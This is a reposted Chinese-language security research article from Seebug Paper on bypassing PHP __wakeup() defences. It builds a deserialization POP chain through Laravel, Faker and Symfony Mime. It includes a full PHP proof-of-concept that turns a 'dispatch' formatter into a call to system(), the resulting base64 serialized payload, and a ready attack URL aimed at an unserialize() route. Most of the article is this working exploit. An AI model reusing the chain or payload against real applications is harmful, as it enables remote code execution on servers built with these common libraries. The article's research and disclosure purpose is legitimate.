A new way to bypass `__wakeup()` and build POP chain
source link: https://paper.seebug.org/1905/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
A new way to bypass `__wakeup()` and build POP chain
2022年05月19日2022年05月19日经验心得
作者:1nhann
原文链接:https://inhann.top/2022/05/17/bypass_wakeup/
本文以 Laravel 9.1.8 为例,介绍一个通用的新思路,用以绕过 pop chain 构造过程中遇到的
__wakeup()
Laravel 9.1.8
routes/web.php
:
<?php
use Illuminate\Support\Facades\Route;
/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/
Route::get('/', function (\Illuminate\Http\Request $request) {
// return view('welcome');
$ser = base64_decode($request->input("ser"));
unserialize($ser);
return "ok";
});
要绕过的 __wakeup()
https://github.com/FakerPHP/Faker
https://github.com/FakerPHP/Faker/pull/136
https://github.com/FakerPHP/Faker/pull/136/commits/841e8bdde345cc1ea9f98e776959e7531cadea0e
在 laravel < v5.7 , yii2 < 2.0.38 的情况下, Faker\Generator
是非常好用的反序列化 gagdet ,但是从 FakerPHP v 1.12.1
之后, Generator.php
中加了个 __wakeup()
方法:
public function __wakeup()
{
$this->formatters = [];
}
这使得 $this->formatters
的值始终为空 array ,这个 gagdet 一定程度上,不能用了。
本文提供一个通用的新思路,用以绕过 pop chain 构造过程中遇到的 __wakeup()
梳理绕过思路
关键词:reference
https://www.phpinternalsbook.com/php5/classes_objects/serialization.html
首先考虑 这样一个 demo :
运行结果:
可以看到 s:4:"fuck";R:2;
,使得 $this->fuck
和 $this->bitch
指向的是同一个值,即 $this->fuck
修改了 $this->bitch
也被修改了
- 让
Faker\Generator
的$this->formatters
和某个对象$o
的某个属性$a
指向同一个值 - 在
Faker\Generator
的__wakeup()
运行完之后,反序列化 gadget 的__destruct()
运行之前,给$a
赋值 $a
的赋值如果完全可控,那么$this->formatters
将不再为空,且完全可控
寻找绕过用的 gadget
根据上面的思路,很容易想到,找一个合适的 __wakeup()
或者 __destruct()
其中最好有类似这样的代码:
$this->a = $this->b;
$this->a[$this->b] = $this->c
经过搜索排查,这里给出 三个可以用的 gadget :
Symfony\Component\Mime\Part\SMimePart.php
:
namespace Symfony\Component\Mime\Part;
class SMimePart extends AbstractPart
public function __wakeup(): void
{
$r = new \ReflectionProperty(AbstractPart::class, 'headers');
$r->setAccessible(true);
$r->setValue($this, $this->_headers);
unset($this->_headers);
}
这个类来自 https://github.com/symfony/mime ,其 $headers
属性继承自其父类 AbstractPart
,__wakeup()
当中使用反射给 $headers
赋值
翻看 git log ,可以看到从项目建立开始,这个 SMimePart
的 __wakeup()
就存在,而且没有变过( 也就是说凡是使用了 symfony/mime
这个依赖的项目,其 __wakeup()
都可能可以绕过 ):
除此之外,
Part/DataPart.php
和Part/TextPart.php
的__wakeup()
也 和Part/SMimePart.php
大致相同,一样可以被用作 gadget
构造 poc
比如对这条链进行改造:https://bkfish.gitee.io/2020/12/01/Some-Php-Pop-Chain-Analysis/#113-laravel-58-exp3
<?php
namespace Faker{
class Generator{
protected $providers = [];
protected $formatters = [];
function __construct()
{
$this->formatter = "dispatch";
$this->formatters = 9999;
}
}
}
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
public function __construct()
{
$this->event = "calc.exe";
$this->events = new \Faker\Generator();
}
}
}
namespace Symfony\Component\Mime\Part{
abstract class AbstractPart
{
private $headers = null;
}
class SMimePart extends AbstractPart{
protected $_headers;
public $inhann;
function __construct(){
$this->_headers = ["dispatch"=>"system"];
$this->inhann = new \Illuminate\Broadcasting\PendingBroadcast();
}
}
}
namespace{
$a = new \Symfony\Component\Mime\Part\SMimePart();
$ser = preg_replace("/([^\{]*\{)(.*)(s:49.*)(\})/","\\1\\3\\2\\4",serialize($a));
echo base64_encode(str_replace("i:9999","R:2",$ser));
}
result :
TzozNzoiU3ltZm9ueVxDb21wb25lbnRcTWltZVxQYXJ0XFNNaW1lUGFydCI6Mzp7czo0OToiAFN5bWZvbnlcQ29tcG9uZW50XE1pbWVcUGFydFxBYnN0cmFjdFBhcnQAaGVhZGVycyI7TjtzOjExOiIAKgBfaGVhZGVycyI7YToxOntzOjg6ImRpc3BhdGNoIjtzOjY6InN5c3RlbSI7fXM6NjoiaW5oYW5uIjtPOjQwOiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xQZW5kaW5nQnJvYWRjYXN0IjoyOntzOjU6ImV2ZW50IjtzOjg6ImNhbGMuZXhlIjtzOjY6ImV2ZW50cyI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjozOntzOjEyOiIAKgBwcm92aWRlcnMiO2E6MDp7fXM6MTM6IgAqAGZvcm1hdHRlcnMiO1I6MjtzOjk6ImZvcm1hdHRlciI7czo4OiJkaXNwYXRjaCI7fX19
attack :
http://127.0.0.1/?ser=TzozNzoiU3ltZm9ueVxDb21wb25lbnRcTWltZVxQYXJ0XFNNaW1lUGFydCI6Mzp7czo0OToiAFN5bWZvbnlcQ29tcG9uZW50XE1pbWVcUGFydFxBYnN0cmFjdFBhcnQAaGVhZGVycyI7TjtzOjExOiIAKgBfaGVhZGVycyI7YToxOntzOjg6ImRpc3BhdGNoIjtzOjY6InN5c3RlbSI7fXM6NjoiaW5oYW5uIjtPOjQwOiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xQZW5kaW5nQnJvYWRjYXN0IjoyOntzOjU6ImV2ZW50IjtzOjg6ImNhbGMuZXhlIjtzOjY6ImV2ZW50cyI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjozOntzOjEyOiIAKgBwcm92aWRlcnMiO2E6MDp7fXM6MTM6IgAqAGZvcm1hdHRlcnMiO1I6MjtzOjk6ImZvcm1hdHRlciI7czo4OiJkaXNwYXRjaCI7fX19
Generator\Generator
的 __wakeup()
先被调用:
Symfony\Component\Mime\Part\SMimePart
的 __wakeup()
随后被调用,并将 $this->_headers
赋值给 $this->headers
:
然后才进入 __destruct()
:
可以看到,虽然 Generator\Generator
的 __wakeup()
执行了,但是 $this->formatters
不为空:
总的来说,本文介绍的 bypass __wakeup()
并不是跳过 __wakeup()
的执行,而是通过构造包含reference的特殊序列化数据 ,达到对冲 __wakeup()
的效果。一般情况下,如果 __wakeup()
里面是对属性的再赋值,而没有 throw Exception 之类的,环境依赖又恰到好处,那就可以达到本文所说的 bypass。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1905/
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK